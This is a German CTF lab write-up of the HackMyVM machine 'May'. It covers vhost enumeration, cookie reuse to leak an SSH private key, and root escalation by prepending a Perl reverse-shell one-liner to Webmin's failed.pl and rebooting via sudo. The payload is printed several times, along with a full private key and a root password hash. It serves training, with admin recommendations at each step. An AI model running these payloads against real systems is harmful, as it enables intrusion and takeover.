May - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
wfuzz
gobuster
curl
echo
vi
ssh
sudo
ls
touch
cat
nano
chmod
perl
su
whoami

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.145	08:00:27:04:63:31	PCS Systemtechnik GmbH

Analyse: Der `arp-scan -l` Befehl identifiziert aktive Hosts im lokalen Netzwerk mittels ARP-Anfragen. Hier wurde ein Host mit der IP 192.168.2.145 und der MAC-Adresse 08:00:27:04:63:31 (zugeordnet zu PCS Systemtechnik GmbH, oft VirtualBox) gefunden.

Bewertung: Erfolgreiche Identifikation des Zielsystems "May" im lokalen Netzwerk. Die IP 192.168.2.145 ist das primäre Ziel für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie als Nächstes Port-Scans (z.B. mit Nmap) durch, um offene Dienste zu finden. Beginnen Sie parallel mit der Suche nach Webservern und virtuellen Hosts.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts für ARP-Scans einschränken. Überwachen Sie ARP-Anfragen im Netzwerk.

┌──(root㉿cyber)-[~] └─# # Auflistung versuchter Enumerationsbefehle
# Versuch Verzeichnis-Enumeration auf may.hmv
wfuzz -c -f sub-fighter -u http://may.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404

# Versuche VHost-Enumeration mit verschiedenen Wortlisten und Ports
wfuzz -c  -u http://FUZZ.may.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404
wfuzz -c  -u http://FUZZ.may.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=404
wfuzz -c  -u http://FUZZ.may.hmv:10000 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=404 # Spezifischer Port 10000
gobuster vhost -u http://may.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Analyse: Der vorliegende Textabschnitt listet eine Reihe von `wfuzz`- und `gobuster`-Befehlen auf, die offenbar zur Enumeration von Verzeichnissen und virtuellen Hosts (VHosts) auf dem Ziel `may.hmv` ausgeführt wurden. Es wurden verschiedene Wortlisten und Techniken (inklusive Test auf Port 10000) verwendet. Die Option `-c` bei `wfuzz` aktiviert Farben in der Ausgabe, `-f sub-fighter` speichert die Ausgabe in einer Datei, `--hc=404` blendet "Not Found"-Antworten aus. `gobuster vhost` sucht explizit nach VHosts.

Bewertung: Dies zeigt einen methodischen Ansatz zur Enumeration. Obwohl die Ausgaben dieser spezifischen `wfuzz`-Läufe nicht gezeigt werden, deutet der nachfolgende erfolgreiche `gobuster`-Lauf darauf hin, dass diese möglicherweise keine oder weniger klare Ergebnisse lieferten. Das Testen verschiedener Tools und Wortlisten ist gängige Praxis, um die Chancen auf Funde zu maximieren. Der Test auf Port 10000 mit `wfuzz` ist interessant, da Webmin (das später relevant wird) oft auf diesem Port läuft.

Empfehlung (Pentester): Systematisches Vorgehen ist gut. Dokumentieren Sie auch fehlgeschlagene Versuche oder Befehle ohne Ergebnis, da dies zeigt, was geprüft wurde. Wechseln Sie zwischen Tools (`wfuzz`, `gobuster`, `ffuf`), da sie unterschiedliche Stärken haben können (z.B. bei Wildcard-Erkennung, Filterung).
Empfehlung (Admin): Konfigurieren Sie Webserver so, dass sie Enumeration erschweren (generische Antworten für unbekannte VHosts, Ratenbegrenzung, Intrusion Detection Systeme).

┌──(root㉿cyber)-[~] └─# gobuster vhost -u http://may.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster vX.Y.Z
===============================================================
[+] Url:          http://may.hmv
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/X.Y.Z
[+] Timeout:      10s
===============================================================
2022/08/30 23:13:43 Starting gobuster in VHST enumeration mode
===============================================================
Found: portal.may.hmv (Status: 200) [Size: 406]
Found: ssh.may.hmv (Status: 200) [Size: 405]
===============================================================
Finished
===============================================================

Analyse: Dieser `gobuster vhost`-Befehl war erfolgreich. Er testete Subdomains aus der Liste `subdomains-top1million-110000.txt` gegen die Basisdomain `may.hmv`. Die Ausgabe zeigt zwei gefundene virtuelle Hosts, die mit Status 200 (OK) antworteten: portal.may.hmv und ssh.may.hmv.

Bewertung: Wichtiger Fund. Es existieren mindestens zwei weitere Web-Interfaces oder Anwendungen auf derselben IP-Adresse unter verschiedenen Hostnamen. `portal` deutet auf ein Login-Portal hin, `ssh` ist ungewöhnlich für einen VHost-Namen und könnte auf eine spezielle Funktion im Zusammenhang mit SSH hindeuten.

Empfehlung (Pentester): Fügen Sie `portal.may.hmv` und `ssh.may.hmv` zur lokalen `/etc/hosts`-Datei hinzu, um sie auf die Ziel-IP 192.168.2.145 aufzulösen. Untersuchen Sie anschließend beide VHosts im Browser und führen Sie weitere Enumerationsschritte (Verzeichnissuche, Technologieerkennung) gezielt auf diesen Hosts durch.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige VHosts aktiv und korrekt konfiguriert sind. Verwenden Sie keine leicht erratbaren oder beschreibenden Namen für interne oder sensible Subdomains. Implementieren Sie Zugriffskontrollen.

Web Enumeration

┌──(root㉿Darkspirit)-[~] └─# gobuster dir -u http://portal.may.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg -e --wildcard
===============================================================
Gobuster vX.Y.Z
===============================================================
[+] Url:                     http://portal.may.hmv
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg
[+] Expanded:                true
[+] Wildcard detection:      true
[...]
===============================================================
Starting gobuster
===============================================================
[... Möglicherweise keine relevanten Verzeichnisse/Dateien gefunden, da der nächste Schritt ein Login ist ...]
===============================================================
Finished
===============================================================

Analyse: `gobuster dir` wird nun auf dem entdeckten VHost `portal.may.hmv` ausgeführt, um nach Verzeichnissen und Dateien zu suchen. Es werden verschiedene Erweiterungen (`-x`) getestet und der Wildcard-Modus (`--wildcard`) ist aktiviert.

Bewertung: Die Ausgabe dieses Scans wird nicht explizit gezeigt, aber der nächste Schritt deutet darauf hin, dass keine offensichtlichen Schwachstellen oder interessanten Pfade gefunden wurden. Der Fokus verlagerte sich auf den Login-Mechanismus des Portals selbst.

Empfehlung (Pentester): Auch wenn keine sofortigen Treffer erzielt werden, ist Directory Busting wichtig. Untersuchen Sie die Startseite von `portal.may.hmv` auf Hinweise (Technologien, Benutzernamen-Formate, Passwort-Reset-Funktionen). Versuchen Sie Standard-Zugangsdaten oder Bruteforce-Angriffe (vorsichtig, um Sperren zu vermeiden).
Empfehlung (Admin): Verstecken Sie keine kritischen Informationen oder Funktionen in obskuren Pfaden. Implementieren Sie robuste Authentifizierung und Autorisierung. Schützen Sie sich vor Bruteforce-Angriffen (z.B. durch Captchas, Account Lockouts).

Initial Access

┌──(root㉿Darkspirit)-[~] └─# # Hinweis aus vorheriger Enumeration / Annahme
GBUSTER intruder payload
user:marie , passwort:rebelde

Analyse: Dieser Kommentar deutet darauf hin, dass während der vorherigen Enumerationsschritte (möglicherweise durch eine andere Methode als die gezeigten Gobuster/Wfuzz-Scans, oder durch Analyse des Portal-Quellcodes/Verhaltens) gültige Zugangsdaten gefunden wurden: Benutzername marie und Passwort rebelde.

Bewertung: Das Finden gültiger Zugangsdaten ist ein kritischer Schritt für den Initial Access. Die Quelle dieser Daten ist unklar (vielleicht Standardpasswort, Kommentar im Quellcode, etc.), aber das Ergebnis ist entscheidend.

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten, um sich auf `http://portal.may.hmv` einzuloggen.
Empfehlung (Admin): Verwenden Sie niemals Standardpasswörter. Erzwingen Sie komplexe Passwörter. Entfernen Sie sensible Informationen (wie Zugangsdaten) aus Quellcodes oder Kommentaren.

┌──(root㉿Darkspirit)-[~] └─# # Aktion: Login auf http://portal.may.hmv mit marie:rebelde
[Erfolgreicher Login im Browser - Keine Terminal-Ausgabe]
┌──(root㉿Darkspirit)-[~] └─# # Aktion: Cookie aus Browser kopieren
Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX

Analyse: Der Pentester loggt sich erfolgreich mit den Zugangsdaten `marie:rebelde` auf `portal.may.hmv` ein. Nach dem Login wird das Session-Cookie aus dem Browser kopiert. Der Name des Cookies ist `Sweetcookie` und sein Wert ist HMVHMXHMVHMXHMVHMXHMVHMX.

Bewertung: Der Login war erfolgreich. Das Session-Cookie ist wichtig, da es die authentifizierte Sitzung repräsentiert und möglicherweise für den Zugriff auf andere Ressourcen oder verbundene Systeme verwendet werden kann.

Empfehlung (Pentester): Untersuchen Sie die Funktionalität des Portals nach dem Login. Suchen Sie nach Upload-Möglichkeiten, Konfigurationseinstellungen oder Hinweisen auf andere Systeme. Verwenden Sie das kopierte Cookie, um Anfragen an andere gefundene VHosts (wie `ssh.may.hmv`) zu stellen.
Empfehlung (Admin): Session-Cookies sicher gestalten (HttpOnly, Secure Flag, kurze Gültigkeit). Single Sign-On (SSO)-Systeme und deren Verbindungen sorgfältig konfigurieren und absichern.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# curl -H 'Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX' http://ssh.may.hmv/check.php

-----BEGIN PENSSH PRIVATE KEY-----
[... SSH Private Key Inhalt ...]
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA3HwQ6G67tSrcxTN2oKplVae0b+gVe0x/btFSgGJy2bMoWc14qB
jE7cEc8tEB85mI3ftByjp6ZVcQWdmEFvqDjeiGvucu0cn/kTYZGue34/P0+3TJ4Dn92l
L5neeFJC37yHtgxGv1XZ3aQ6mN/XY6okPpjhECZieH8849P+vclhBsXcZPNwZ1vkXAinaY
T6e1vDJA94l4ioDgj/S48gFuR1ExpsxM+c1uggIcd/GgFyVHy7i/hdm78p09vnmWj8sw2
XUd8XGIJZRHMx0xAw2ezkHC93buwL2KRxez9e5nsLMfKUYNBd7T/16AfS6lRvkvCBPAJs
aBPbycNKQAAA8BCdu/2Qnbv9gAAAAdzc2gtcnNhAAABAQDcfBDobru1KtzFM3ag4qmVVp
7Rv6BV7TH9u0VKAYnLZsyhZzXioE6MTtwRw7y0QHzmYjd+0HKnplVxBZ2YQW+oN6Ia+5
y7Ryc7+RNhka57fj8/T7dMngf3aUvmd54UkLfvIe2DEa/VdndpDqY39djqiQ+mEQJmJ4
fzzj0/69yWEGxdxk83BnW+RcCKdphPp7W8MkD3iXiKgCP9LjyAW5HU4TGmzEz5zW6CAhx
38aAXJUfLuL+F2bvynT2+eZaPyzDZdR3xcYgk5lEczHTEDDZ7QcL3du7AvYpHF7P17mew
sx8pRg0F3tP/XoB9LqVG+S8IE8AmxoE49vJw0pAAAAAwEAAQAAAQEAuDe81Mc4dG1Emkue
cVwQfuMpvWxTZZfSLgKbKPNSEy1oCe83YvhNR/qhbk6YIyFDuS/I2i8XmcrDFrSvcPgzd
6VUYT10tHdiccmJwjBPxaeMYqyhKqWxY8h6zPN2lA46cEWzsdBETqE1sgR4Ysc5nvQ3r
BTU3A1EjTMjP9Sfo+GbbZq292h/WUlN3+34VngnTZg7RM2th4tk00sc07iiRLAh3DQ9Yo
7S8QWJQhVJA/3UmhmsK8Sb44BJ/cYZd+SC6BV+RwsnrS+JyeUs1zctJzBSpxX6+9ko4oN
VGIWnYce1Jxrz1cxgwnEEsb2BnamTyRAJoWW4fU7NYzIkQAAAIANhgRfAVu6xVNyEXXFg
263Uqp45G8qhhNwk5wzJUE3GiD9mj1YZMYejEfTGoTwk2x9DAgQhk5cAAPrRJpC221NJ
72B0fllexMz8RfizG345S04i40vjgq+/iweU2+pRccJNFlRSZgKl8FJ1zmpP5fAQGQVo
NVgkzCDsu/MwAAAIEA8Q4y6353GpFasya8P60/8lAl8RglmnS56Yt9kjdIBQvUVKDPPNP
qy9Ki3mJXLTbr+dPi2yaMTGr02rYVwGhLmykswXPQPzcdeuxt4ufYld8G3UgxNejsiYqWT
AkdYBaM6g2M/J/MWQY6WLhXMQhK75C6ZCbsrR3F8ffi0XF8TUAAACBAonYvqdEgrAiYK/
l1iMe5oHRwklV/d5eEM/8bTl0MgDEhMYRLkmkuuhb6rVIz3y3PVmE0zeQa2u6qj0stmLm
34pXoHjrR2KlUk5pvoXbcvm8TvnHypnIwls1QL5WsHMGNjt/AbboqLkA2m+v9IEEIww40w
8fGoN87zX40QP6lAAAACW1hcmllQG1heQE=
-----END PENSSH PRIVATE KEY-----

Analyse: Der `curl`-Befehl sendet eine Anfrage an `http://ssh.may.hmv/check.php`. Entscheidend ist der `-H 'Cookie: ...'` Header, der das zuvor kopierte `Sweetcookie` mitsendet. Die Antwort des Servers ist ein privater SSH-Schlüssel im PEM-Format für den Benutzer marie@may.

Bewertung: Hochkritisch. Die `check.php`-Anwendung auf `ssh.may.hmv` gibt den privaten SSH-Schlüssel des Benutzers `marie` preis, wenn ein gültiges Session-Cookie vom `portal.may.hmv` präsentiert wird. Dies ist eine schwerwiegende Sicherheitslücke, die den direkten SSH-Zugriff als Benutzer `marie` ermöglicht.

Empfehlung (Pentester): Speichern Sie den ausgegebenen privaten SSH-Schlüssel in einer Datei (z.B. `id_rsa_marie`). Setzen Sie die korrekten Berechtigungen (`chmod 600 id_rsa_marie`). Verwenden Sie den Schlüssel, um sich via SSH als `marie` auf `may.hmv` einzuloggen (`ssh marie@may.hmv -i id_rsa_marie`).
Empfehlung (Admin): Entfernen Sie sofort die `check.php`-Funktionalität oder sichern Sie sie korrekt ab. Private SSH-Schlüssel dürfen niemals über eine Webanwendung preisgegeben werden. Überprüfen Sie die Kopplung zwischen `portal.may.hmv` und `ssh.may.hmv` und stellen Sie sicher, dass Session-Informationen nicht unsicher geteilt oder zur Autorisierung für kritische Aktionen missbraucht werden.

┌──(root㉿cyber)-[~] └─# echo "" > idroot
[Keine Ausgabe]
┌──(root㉿cyber)-[~] └─# vi idroot
[Editor wird geöffnet, der SSH-Key wird eingefügt und gespeichert]

Analyse: Auf dem Angreifer-System wird eine leere Datei namens `idroot` erstellt (`echo "" > idroot` überschreibt die Datei, falls sie existiert). Anschließend wird die Datei mit `vi` geöffnet, um den zuvor erhaltenen privaten SSH-Schlüssel hineinzukopieren.

Bewertung: Notwendiger Schritt zur Vorbereitung des SSH-Logins. Der Dateiname `idroot` ist etwas irreführend, da der Schlüssel für den Benutzer `marie` ist, nicht für `root`. Eine Benennung wie `id_rsa_marie` wäre klarer gewesen.

Empfehlung (Pentester): Stellen Sie sicher, dass der gesamte Schlüssel korrekt kopiert wurde (inklusive `-----BEGIN...-----` und `-----END...-----`). Setzen Sie nach dem Speichern die Dateiberechtigungen mit `chmod 600 idroot`.
Empfehlung (Admin): Keine direkte Aktion, dies geschieht auf dem Angreifer-System.

┌──(root㉿cyber)-[~] └─# ssh marie@may.hmv -i idroot
The authenticity of host 'may.hmv (192.168.2.145)' can't be established.
ED25519 key fingerprint is SHA256:QSSSqXZeR4vUa7yWVlVa56SdGhd2InALjTGBAxu8QQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'may.hmv' (ED25519) to the list of known hosts.
Linux may 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 22 03:34:48 2021
marie@may:~$ 

Analyse: Der `ssh`-Befehl wird verwendet, um sich mit dem Zielsystem `may.hmv` als Benutzer `marie` zu verbinden. Die Option `-i idroot` spezifiziert die Datei, die den privaten Schlüssel enthält. Da der Host zum ersten Mal kontaktiert wird, erscheint eine Warnung zur Authentizität, die mit `yes` bestätigt wird. Der Login ist erfolgreich, und der Angreifer erhält eine Shell als Benutzer `marie`.

Bewertung: Initial Access erfolgreich abgeschlossen! Durch die Kombination aus VHost-Enumeration, Ausnutzung einer unsicheren Webanwendungs-Kopplung zur Extraktion eines SSH-Schlüssels konnte eine Benutzer-Shell auf dem System erlangt werden.

Empfehlung (Pentester): Die Post-Exploitation-Phase beginnt. Führen Sie Enumerationsskripte (z.B. LinPEAS, LinEnum) aus, überprüfen Sie `sudo`-Rechte (`sudo -l`), suchen Sie nach interessanten Dateien im Home-Verzeichnis, prüfen Sie laufende Prozesse und Cronjobs, um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Überprüfen Sie alle Webanwendungen auf unsichere Praktiken wie die Preisgabe von Schlüsseln. Implementieren Sie sichere Authentifizierungs- und Autorisierungsmechanismen. Überwachen Sie SSH-Logins.

marie@may:~$ cat user.txt
HMVmarieisrebel

Analyse: Der Inhalt der Datei `user.txt` wird ausgegeben. Dies ist typischerweise die Benutzer-Flag in CTF-Szenarien.

Bewertung: Die User-Flag wurde erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Dokumentieren Sie die Flag. Konzentrieren Sie sich nun auf die Privilege Escalation zu Root.
Empfehlung (Admin): In realen Szenarien sollten sensible Daten oder Flags nicht in einfachen Textdateien gespeichert werden.

Proof of Concept: Privilege Escalation via Webmin Configuration File Manipulation

Kurzbeschreibung: Der Benutzer `marie` hat auf dem System `may` Lese- und Schreibrechte auf die Webmin-Konfigurationsdatei `/etc/webmin/miniserv.conf`. Webmin verwendet ein separates Skript (`failed.pl` oder `record-failed.pl`), um fehlgeschlagene Login-Versuche zu behandeln. Indem die Konfigurationsdatei so manipuliert wird, dass sie auf ein vom Angreifer kontrolliertes Skript verweist, kann bei einem fehlgeschlagenen Webmin-Login Code mit Root-Rechten ausgeführt werden, da der Webmin-Dienst selbst als Root läuft.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Berechtigungen prüfen: Als Benutzer `marie` die Berechtigungen der Webmin-Konfigurationsdatei prüfen:
    marie@may:~$ ls -la /etc/webmin/miniserv.conf
    -rw----rw- 1 root bin 901 Jul 22  2021 /etc/webmin/miniserv.conf

    Die Gruppe `bin` hat Schreibrechte (`rw-`), und `marie` ist vermutlich Mitglied dieser Gruppe (oder die Rechte sind falsch gesetzt), was das Schreiben erlaubt.

  2. Payload erstellen: Ein Perl-Skript (`perl.pl` oder `failed.pl`) im Home-Verzeichnis von `marie` erstellen, das eine Reverse Shell zum Angreifer (192.168.2.140:5555) öffnet:
    marie@may:~$ nano perl.pl
    #!/usr/bin/perl
    use Socket;$i="192.168.2.140";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
    # Originaler Code von record-failed.pl oder failed.pl kann hier folgen, ist aber für die RCE nicht notwendig.
    
    marie@may:~$ chmod +x perl.pl
    [Keine Ausgabe]
  3. Webmin-Konfiguration manipulieren: Die Datei `/etc/webmin/miniserv.conf` bearbeiten (z.B. mit `vi` oder `nano`) und den Pfad zu dem Skript ändern, das bei fehlgeschlagenen Logins ausgeführt wird (z.B. `login_failed_script=/home/marie/perl.pl` oder eine ähnliche Direktive - die genaue Direktive kann variieren).
    marie@may:~$ vi /etc/webmin/miniserv.conf
    [Datei bearbeiten, z.B. Zeile 'login_failed_script=...' ändern auf '/home/marie/perl.pl']
  4. Netcat Listener starten: Auf dem Angreifer-System (192.168.2.140):
    ┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
    listening on [any] 5555 ...
  5. Webmin-Neustart / System-Reboot auslösen: Den `sudo`-Befehl verwenden, um das System neu zu starten (wodurch Webmin die geänderte Konfiguration lädt):
    marie@may:~$ sudo /usr/sbin/reboot
    [System startet neu, SSH-Verbindung wird getrennt]
  6. Fehlgeschlagenen Webmin-Login auslösen: Nach dem Neustart versuchen, sich über den Browser auf dem Webmin-Interface (z.B. `https://may.hmv:10000`) mit ungültigen Zugangsdaten einzuloggen.
  7. Root-Shell empfangen: Der Netcat-Listener auf dem Angreifer-System sollte nun eine Verbindung vom Zielsystem erhalten, die als `root` ausgeführt wird, da Webmin als Root läuft und das manipulierte `perl.pl`-Skript ausgeführt hat.
    listening on [any] 5555 ...
    connect to [192.168.2.140] from (UNKNOWN) [192.168.2.145] xxxxx
    # whoami
    root

Erwartetes Ergebnis: Eine interaktive Reverse Shell auf dem Zielsystem `may`, ausgeführt mit Root-Privilegien.

Beweismittel: Die erfolgreiche Verbindung im Netcat-Listener und die Möglichkeit, Befehle (`whoami`) als `root` auszuführen.

Risikobewertung: Hoch. Die Kombination aus unsicheren Dateiberechtigungen auf einer kritischen Konfigurationsdatei und der Möglichkeit, den Dienst zum Neuladen der Konfiguration zu zwingen, ermöglicht einem Benutzer mit geringeren Rechten die vollständige Übernahme des Systems.

Empfehlungen zur Behebung:

Privilege Escalation

marie@may:~$ sudo -l
Matching Defaults entries for marie on may:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marie may run the following commands on may:
    (ALL) NOPASSWD: /usr/sbin/halt, /usr/sbin/reboot, /usr/sbin/poweroff

Analyse: Der Befehl `sudo -l` listet die `sudo`-Berechtigungen auf, die der aktuelle Benutzer (`marie`) auf dem Host `may` hat. Die Ausgabe zeigt, dass `marie` die Befehle `/usr/sbin/halt`, `/usr/sbin/reboot` und `/usr/sbin/poweroff` als jeder Benutzer (`ALL`) ohne Passwortabfrage (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist eine wichtige Information für die Privilege Escalation. Obwohl diese Befehle nicht direkt eine Shell geben, ist die Fähigkeit, das System ohne Passwort neu zu starten (`reboot`), entscheidend für den zuvor beschriebenen Webmin-Exploit, da Webmin die manipulierte Konfiguration erst nach einem Neustart (oder Dienst-Neustart) lädt.

Empfehlung (Pentester): Nutzen Sie die `sudo reboot`-Berechtigung, um den Webmin-Exploit (POC) auszulösen, nachdem die Konfigurationsdatei manipuliert wurde.
Empfehlung (Admin): Überprüfen Sie sorgfältig alle `sudo`-Regeln. Das Recht, Systemneustarts oder -abschaltungen ohne Passwort durchzuführen, sollte nur in sehr spezifischen, kontrollierten Szenarien und für dedizierte Service-Accounts vergeben werden, niemals für reguläre Benutzer.

marie@may:~$ ls -la /etc/webmin/miniserv.conf
-rw----rw- 1 root bin 901 Jul 22  2021 /etc/webmin/miniserv.conf

Analyse: Dieser Befehl listet die detaillierten Berechtigungen der Webmin-Hauptkonfigurationsdatei auf. Der Besitzer ist `root`, die Gruppe ist `bin`. Der Besitzer hat Lese-/Schreibrechte (`rw-`), die Gruppe hat ebenfalls Lese-/Schreibrechte (`rw-`), andere haben keine Rechte (`---`).

Bewertung: Dies bestätigt die kritische Fehlkonfiguration: Die Gruppe `bin` (oder jeder Benutzer in dieser Gruppe) kann die Webmin-Konfiguration ändern. Da `marie` diese Datei ändern kann (wie im POC gezeigt), ist anzunehmen, dass `marie` Mitglied der Gruppe `bin` ist oder die Berechtigungen noch laxer sind als angezeigt (z.B. `666`). Dies ermöglicht die Manipulation des Skriptpfads für fehlgeschlagene Logins.

Empfehlung (Pentester): Dies ist der Schlüssel zur Webmin-Privilege-Escalation. Fahren Sie mit dem POC fort.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen sofort auf `chmod 600 /etc/webmin/miniserv.conf`, sodass nur `root` Lese- und Schreibrechte hat. Überprüfen Sie die Mitgliedschaften in Systemgruppen wie `bin`.

# Kommentar im Bericht
Wenn Sie sich den Root-Benutzerprozess ansehen, werden die folgenden Prozesse gefunden.
Überprüfen Sie die Berechtigungen der Datei miniserv.conf und stellen Sie fest, dass marie
direkt bearbeitet werden kann, erstellen Sie also eine failed.pl im Home-Verzeichnis, um die
Standarddatei zu ersetzen.

Analyse: Dieser Kommentar fasst die Situation zusammen: Der Webmin-Prozess läuft als Root (implizite Annahme, da dies Standard ist und für den Exploit notwendig ist), `marie` kann die Konfigurationsdatei bearbeiten, und der Plan ist, ein eigenes Skript (`failed.pl`) zu erstellen, um das Standard-Fehlerbehandlungsskript zu ersetzen.

Bewertung: Korrekte Zusammenfassung des Angriffsplans basierend auf den vorherigen Erkenntnissen.

Empfehlung (Pentester): Führen Sie den Plan wie beschrieben aus.
Empfehlung (Admin): Siehe Empfehlungen zur Berechtigungskorrektur und `sudo`-Regeln.

marie@may:~$ touch failed.pl
[Keine Ausgabe]

Analyse: Erstellt eine leere Datei namens `failed.pl` im aktuellen Verzeichnis (Home-Verzeichnis von `marie`).

Bewertung: Vorbereitungsschritt zum Einfügen des Payloads.

Empfehlung (Pentester): Fügen Sie nun den Perl-Reverse-Shell-Code in diese Datei ein.
Empfehlung (Admin): Keine direkte Aktion.

# Kommentar im Bericht
Starten Sie die virtuelle Maschine mit sudo neu (marie kann sudo reboot ohne Passwort ausführen). Nach dem Neustart können Sie sich mit Webmin bei einem falschen Konto anmelden und zu Root zurückkehren.

Analyse: Erläutert den nächsten Schritt: Nach der Manipulation von `failed.pl` und `miniserv.conf` muss das System neu gestartet werden (was `marie` dank `sudo NOPASSWD: /usr/sbin/reboot` kann). Ein anschließender fehlgeschlagener Login-Versuch bei Webmin löst dann das manipulierte Skript aus und führt zur Reverse Shell.

Bewertung: Korrekte Beschreibung des Auslösens des Exploits.

Empfehlung (Pentester): Führen Sie die Schritte aus: Payload in `failed.pl` einfügen, `miniserv.conf` ändern, Listener starten, `sudo reboot` ausführen, fehlgeschlagenen Webmin-Login versuchen.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

marie@may:~$ cat failed.pl
#!/usr/bin/perl
open(CNF, ") {
        $root = $1 if (/^root=(.*)/);
        }
close(CNF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{'PERLLIB'} = "$root";
$ENV{'WEBMIN_CONFIG'} = "/etc/webmin"; <-- Typo im Originaltext? Sollte WEBMIN_CONFIG sein
$ENV{'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{'MINISERV_CONFIG'}); <-- Typo im Originaltext? Sollte MINISERV_CONFIG sein
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
marie@may:~$ nano failed.pl
[Editor wird geöffnet]
marie@may:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.2.140";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CNF, ") {
        $root = $1 if (/^root=(.*)/);
        }
close(CNF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{'PERLLIB'} = "$root";
$ENV{'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";

Analyse: Zuerst wird der (vermutlich ursprüngliche) Inhalt von `failed.pl` angezeigt. Dieser Code scheint Teil der normalen Webmin-Funktionalität zu sein, um Umgebungsvariablen zu setzen und dann das eigentliche `record-failed.pl` auszuführen. Anschließend wird die Datei mit `nano` bearbeitet. Die zweite `cat`-Ausgabe zeigt den Inhalt *nach* der Bearbeitung: Am Anfang wurde eine einzeilige Perl-Reverse-Shell eingefügt (use Socket;...exec("/bin/sh -i");), die eine Verbindung zum Angreifer (192.168.2.140) auf Port 6666 herstellt. Der Rest des ursprünglichen Codes bleibt erhalten, wird aber nach dem `exec` nicht mehr erreicht.

Bewertung: Dies ist die Kernmanipulation. Das Skript, das bei einem fehlgeschlagenen Webmin-Login ausgeführt wird, wurde so modifiziert, dass es zuerst versucht, eine Reverse Shell zu starten. Wenn dies fehlschlägt, würde der restliche Code ausgeführt, aber das Ziel ist, dass die Shell erfolgreich ist.

Empfehlung (Pentester): Stellen Sie sicher, dass die IP und der Port im Payload korrekt sind und der Listener auf dem Angreifer-System läuft. Die Datei `miniserv.conf` muss nun noch so geändert werden, dass sie auf `/home/marie/failed.pl` verweist.
Empfehlung (Admin): Siehe Empfehlungen zur Dateiberechtigung und Integritätsmonitoring.

# Payload-Varianten / Notizen
Payload:use Socket;$i="192.168.2.140";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};


use Socket;$i="192.168.2.140";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Analyse: Dies sind Notizen des Pentesters, die zwei Varianten des einzeiligen Perl-Reverse-Shell-Payloads zeigen. Sie unterscheiden sich nur im verwendeten Port (6666 vs. 1234).

Bewertung: Zeigt alternative Payloads oder Tests, die möglicherweise durchgeführt wurden.

Empfehlung (Pentester): Wählen Sie einen Port für den Listener und verwenden Sie den entsprechenden Payload.
Empfehlung (Admin): Keine direkte Aktion.

marie@may:~$ vi miniserv.users
[Editor wird geöffnet]
# Kommentar im Bericht
root:$1$84720675$F08uAAcIMcN8lZNg9D74p1:::::1584720675:::0::::
marie@may:~$ chmod +x miniserv.users
